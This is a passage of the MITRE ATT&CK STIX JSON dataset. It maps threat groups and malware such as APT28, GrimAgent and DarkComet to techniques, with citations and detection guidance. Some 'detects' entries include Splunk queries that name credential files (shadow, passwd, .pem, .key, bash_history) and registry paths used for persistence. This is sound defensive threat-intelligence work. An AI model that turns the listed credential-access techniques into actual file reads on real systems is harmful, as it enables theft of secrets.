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                    "source_name": "FireEye Operation Double Tap",
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            "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.(Citation: FireEye Operation Double Tap)",
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            "id": "relationship--e04dd3e5-9883-4f0a-bf05-b20af89c88f3",
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            "revoked": false,
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                {
                    "source_name": "Group IB GrimAgent July 2021",
                    "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.",
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            "modified": "2025-04-16T22:52:31.143Z",
            "description": "[GrimAgent](https://attack.mitre.org/software/S0632) can delete old binaries on a compromised host.(Citation: Group IB GrimAgent July 2021)",
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            "modified": "2025-04-28T16:13:58.326Z",
            "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.",
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                    "source_name": "FireEye APT33 Guardrail",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
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            "modified": "2025-04-28T16:13:58.497Z",
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used AES for encryption of command and control traffic.(Citation: FireEye APT33 Guardrail)",
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                    "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022.",
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            "modified": "2025-04-16T22:52:31.589Z",
            "description": "[Saint Bot](https://attack.mitre.org/software/S1018) can collect the username from a compromised host.(Citation: Malwarebytes Saint Bot April 2021)",
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                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
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            "description": "During [APT28 Nearest Neighbor Campaign](https://attack.mitre.org/campaigns/C0051), [APT28](https://attack.mitre.org/groups/G0007) leveraged SMB to transfer files and move laterally.(Citation: Nearest Neighbor Volexity)",
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            "source_ref": "campaign--a010610e-22cb-437e-bfde-b78861bdca7a",
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            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--e05db24d-57e8-40e9-a412-819ac5592ed8",
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                    "source_name": "Huntress INC Ransomware May 2024",
                    "description": "Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.",
                    "url": "https://www.huntress.com/blog/lolbin-to-inc-ransomware"
                },
                {
                    "source_name": "Huntress INC Ransom Group August 2023",
                    "description": "Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.",
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            ],
            "modified": "2025-04-16T22:52:31.995Z",
            "description": "[INC Ransom](https://attack.mitre.org/groups/G1032) has downloaded tools to compromised servers including Advanced IP Scanner. (Citation: Huntress INC Ransom Group August 2023)(Citation: Huntress INC Ransomware May 2024)",
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            "source_ref": "intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--e062ec0b-3be4-42c6-8dba-7a8a8270bbd9",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant Pulse Secure Update May 2021",
                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"
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            ],
            "modified": "2025-04-16T22:52:32.187Z",
            "description": "[APT5](https://attack.mitre.org/groups/G1023) has cleared the command history on targeted ESXi servers.(Citation: Mandiant Pulse Secure Update May 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9",
            "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--e068332d-0b1c-4aba-a60f-37c640e20d10",
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                {
                    "source_name": "Secureworks IRON LIBERTY July 2019",
                    "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.",
                    "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector"
                },
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "Symantec Dragonfly Sept 2017",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
                    "url": "https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers"
                },
                {
                    "source_name": "Gigamon Berserk Bear October 2021",
                    "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.",
                    "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf"
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            ],
            "modified": "2025-04-28T16:13:59.028Z",
            "description": "(Citation: Secureworks IRON LIBERTY July 2019)(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)(Citation: Gigamon Berserk Bear October 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--e06dcec4-ccdb-4d49-a98c-62a6b0ba14ad",
            "created": "2022-03-30T14:26:51.874Z",
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            "description": "Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior. Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nAnalytic 1 - Multiple file reads in a short period or searching for credential material.\n\n<code> (index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*password*\" OR ObjectName=\"*credential*\") OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=11 TargetObject=\"*password*\" OR TargetObject=\"*credential*\") OR\n(index=os sourcetype=\"linux_audit\" action=\"open\" filepath IN (\"*password*\", \"*credential*\", \"*passwd*\", \"*shadow*\", \"*.pem\", \"*.key\")) OR\n(index=os sourcetype=\"macos_secure\" event_type=\"open\" file_path IN (\"*password*\", \"*credential*\", \"*passwd*\", \"*shadow*\", \"*.pem\", \"*.key\"))</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
            "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--e06f1879-c1f2-46af-84ce-f63d8f4773c6",
            "created": "2024-12-07T16:18:47.190Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Kaspersky ShrinkLocker 2024",
                    "description": "Cristian Souza, Eduardo Ovalle, Ashley Mu\u00f1oz, & Christopher Zachor. (2024, May 23). ShrinkLocker: Turning BitLocker into ransomware. Retrieved December 7, 2024.",
                    "url": "https://securelist.com/ransomware-abuses-bitlocker/112643/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:52:32.893Z",
            "description": "[ShrinkLocker](https://attack.mitre.org/software/S1178) can delete itself depending on various checks performed during execution.(Citation: Kaspersky ShrinkLocker 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--3fc44c12-b16e-4de1-8869-cf0eb4446070",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "id": "relationship--e07051b0-e563-47bc-907e-67b488068d02",
            "created": "2022-03-30T14:26:51.868Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-04-16T22:52:33.088Z",
            "description": "Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Default screen saver files are stored in C:\\Windows\\System32. Use these files as a reference when defining list of not suspicious screen saver files.\n\nAnalytic 1 - Registry Edit from Screensaver\n\n<code>source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (13, 14) TargetObject=\"*\\Software\\Policies\\Microsoft\\Windows\\Control Panel\\Desktop\\SCRNSAVE.EXE\"</code>",
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            "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--e071665f-e6a6-4d73-bd09-2c5d93655486",
            "created": "2022-03-30T14:26:51.865Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:13:59.467Z",
            "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--e07acc2b-6a92-423e-85be-a9caed4a8ee6",
            "created": "2020-10-20T00:05:48.864Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:13:59.665Z",
            "relationship_type": "subtechnique-of",
            "source_ref": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc",
            "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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        {
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            "spec_version": "2.1",
            "id": "relationship--e07b76a4-98d7-4adc-b90e-a1f7f2266867",
            "created": "2019-01-30T15:33:07.629Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:13:59.847Z",
            "description": "[APT1](https://attack.mitre.org/groups/G0006) listed connected network shares.(Citation: Mandiant APT1)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "spec_version": "2.1",
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                    "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.",
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                    "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.",
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            "description": "[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to compress its components.(Citation: ESET Gelsemium June 2021)",
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                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
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            "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) downloads a PowerShell script that decodes to a typical shellcode loader.(Citation: Forcepoint Monsoon)",
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                    "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.",
                    "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/"
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                    "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.",
                    "url": "https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"
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                    "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.",
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                    "source_name": "Trend Micro Banking Malware Jan 2019",
                    "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.",
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                    "source_name": "US-CERT Emotet Jul 2018",
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                    "url": "https://unit42.paloaltonetworks.com/trident-ursa/"
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                    "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.",
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                {
                    "source_name": "Kaspersky Ferocious Kitten Jun 2021",
                    "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.",
                    "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/"
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            "modified": "2025-04-28T16:15:32.212Z",
            "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can capture clipboard content.(Citation: Kaspersky Ferocious Kitten Jun 2021)",
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                    "source_name": "Mandiant APT41",
                    "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.",
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            "modified": "2025-04-16T22:54:54.802Z",
            "description": "\n[KEYPLUG](https://attack.mitre.org/software/S1051) can use TCP and KCP (KERN Communications Protocol) over UDP for C2 communication.(Citation: Mandiant APT41)",
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                    "source_name": "Mandiant Pulse Secure Update May 2021",
                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
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                    "source_name": "RSA2017 Detect and Respond Adair",
                    "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved November 17, 2024.",
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                    "source_name": "Secureworks BRONZE SILHOUETTE May 2023",
                    "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.",
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            "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has inspected server logs to remove their IPs.(Citation: Secureworks BRONZE SILHOUETTE May 2023)",
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            "id": "relationship--e966a89a-eef3-4be4-9ea1-ded6da1315cd",
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            "revoked": false,
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                {
                    "source_name": "Kaspersky Lyceum October 2021",
                    "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.",
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            "modified": "2025-04-16T22:54:55.824Z",
            "description": "(Citation: Kaspersky Lyceum October 2021)",
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            "external_references": [
                {
                    "source_name": "Github Covenant",
                    "description": "cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.",
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            "modified": "2025-04-16T22:54:56.024Z",
            "description": "[Covenant](https://attack.mitre.org/software/S1155) can utilize SSL to encrypt command and control traffic.(Citation: Github Covenant)",
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                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET"
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            ],
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            "modified": "2025-04-28T16:15:32.993Z",
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) gathers the username from the victim\u2019s machine.(Citation: TrendMicro DarkComet Sept 2014)",
            "relationship_type": "uses",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
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            "modified": "2025-04-28T16:15:33.539Z",
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                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
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            "description": "The C2 server used by [XTunnel](https://attack.mitre.org/software/S0117) provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.(Citation: ESET Sednit Part 2)",
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                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/"
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                {
                    "source_name": "TrendMicro BlackTech June 2017",
                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020.",
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            "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to list open windows on the compromised host.(Citation: TrendMicro BlackTech June 2017)(Citation: TrendMicro BlackTech June 2017)",
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                {
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            "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) can decrypt and parse instructions sent from C2.(Citation: NCSC Cyclops Blink February 2022)",
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                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
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                    "description": "Cisco Talos. (2024, April 24). ArcaneDoor - New espionage-focused campaign found targeting perimeter network devices. Retrieved January 6, 2025.",
                    "url": "https://blog.talosintelligence.com/arcanedoor-new-espionage-focused-campaign-found-targeting-perimeter-network-devices/"
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                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
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                    "source_name": "Cybereason Oceanlotus May 2017",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
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                {
                    "source_name": "ESET OceanLotus Mar 2019",
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/"
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                {
                    "source_name": "FireEye APT32 April 2020",
                    "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html"
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                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.",
                    "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf"
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                    "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020.",
                    "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/"
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                    "source_name": "ESET Grandoreiro April 2020",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.",
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            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has been spread via malicious links embedded in e-mails.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)",
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                    "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.",
                    "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"
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                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.",
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                    "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) has disabled Purview Audit on targeted accounts prior to stealing emails from  Microsoft 365 tenants.(Citation: Mandiant APT29 Microsoft 365 2022)",
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                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c"
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                {
                    "source_name": "NCSC APT29 July 2020",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.",
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                    "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved November 17, 2024.",
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                    "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.",
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                    "description": "Asheer Malhotra, Vitor Ventura & Jungsoo An, Cisco Talos. (2022, September 7). MagicRAT: Lazarus\u2019 latest gateway into victim networks. Retrieved December 30, 2024.",
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                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
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            "source_ref": "tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9",
            "target_ref": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--eba8bfe5-1005-4e0e-91d3-f116c6d2380a",
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            "modified": "2025-04-18T16:54:57.596Z",
            "description": "Monitor for \n- Newly written .crx, .xpi, or .mobileconfig files\n- Modified .plist files under /Library/Managed Preferences/<username>/ (macOS)\n- Creation of extensions under:\n    - Chrome: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\n    - Firefox: %APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default\\extensions\n\nAnalytic 1 - Detect newly written config files \n\n<code>sourcetype=WinEventLog:Sysmon EventCode=11\n(TargetFilename=\"*\\\\Extensions\\\\*\" OR TargetFilename=\"*.crx\" OR TargetFilename=\"*.xpi\" OR TargetFilename=\"*.mobileconfig\")\n| stats count by TargetFilename, Image, User, Computer, _time\n| sort -_time\n </code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
            "target_ref": "attack-pattern--278716b1-61ce-4a74-8d17-891d0c494101",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ebab1ba1-e02b-41ab-8682-5a44d68fb155",
            "created": "2020-06-10T20:30:38.924Z",
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                {
                    "source_name": "Trend Micro Tick November 2019",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf"
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            "modified": "2025-04-28T16:15:56.125Z",
            "description": "(Citation: Trend Micro Tick November 2019)",
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            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "target_ref": "malware--8be7c69e-d8e3-4970-9668-61de08e508cc",
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        },
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            "type": "relationship",
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            "id": "relationship--ebae4e41-0925-46af-b7bf-aba3ea0c25ec",
            "created": "2022-03-30T14:26:51.859Z",
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            "modified": "2025-04-28T16:15:56.289Z",
            "description": "Monitor for changes made to files that may abuse Microsoft Office templates to obtain persistence on a compromised system. Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
            "target_ref": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
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            "x_mitre_deprecated": false,
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            "id": "relationship--ebb04a61-225d-4cd3-b589-b3001069566e",
            "created": "2024-09-17T18:34:23.187Z",
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                    "source_name": "Latrodectus APR 2024",
                    "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"
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            "modified": "2025-04-16T22:55:32.025Z",
            "description": "\n[Latrodectus](https://attack.mitre.org/software/S1160) has the ability to check for the presence of debuggers.(Citation: Latrodectus APR 2024)",
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            "modified": "2025-04-28T16:15:56.533Z",
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                    "source_name": "Cybereason Chaes Nov 2020",
                    "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.",
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            "description": "[Chaes](https://attack.mitre.org/software/S0631) has decrypted an AES encrypted binary file to trigger the download of other files.(Citation: Cybereason Chaes Nov 2020) ",
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            "revoked": false,
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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            "modified": "2025-04-16T22:55:32.628Z",
            "description": "Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)",
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            "created": "2018-10-17T00:14:20.652Z",
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                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
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            ],
            "modified": "2025-04-28T16:15:56.950Z",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: Rancor Unit42 June 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "id": "relationship--ebd51f84-cd09-4b40-88bd-bed2461996d7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
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            "description": "(Citation: Microsoft PLATINUM April 2016)",
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            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
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            "id": "relationship--ebd78850-caf0-4e14-8338-0f7347063afc",
            "created": "2021-10-11T19:34:23.397Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CheckPoint Bandook Nov 2020",
                    "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021.",
                    "url": "https://research.checkpoint.com/2020/bandook-signed-delivered/"
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            "modified": "2025-04-28T16:15:57.275Z",
            "description": "[Bandook](https://attack.mitre.org/software/S0234) has decoded its PowerShell script.(Citation: CheckPoint Bandook Nov 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
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            "id": "relationship--ebd87b4c-eca9-4680-9608-a49ec74b5c4b",
            "created": "2019-01-30T19:50:46.737Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Unit 42 NOKKI Sept 2018",
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/"
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            ],
            "modified": "2025-04-28T16:15:57.437Z",
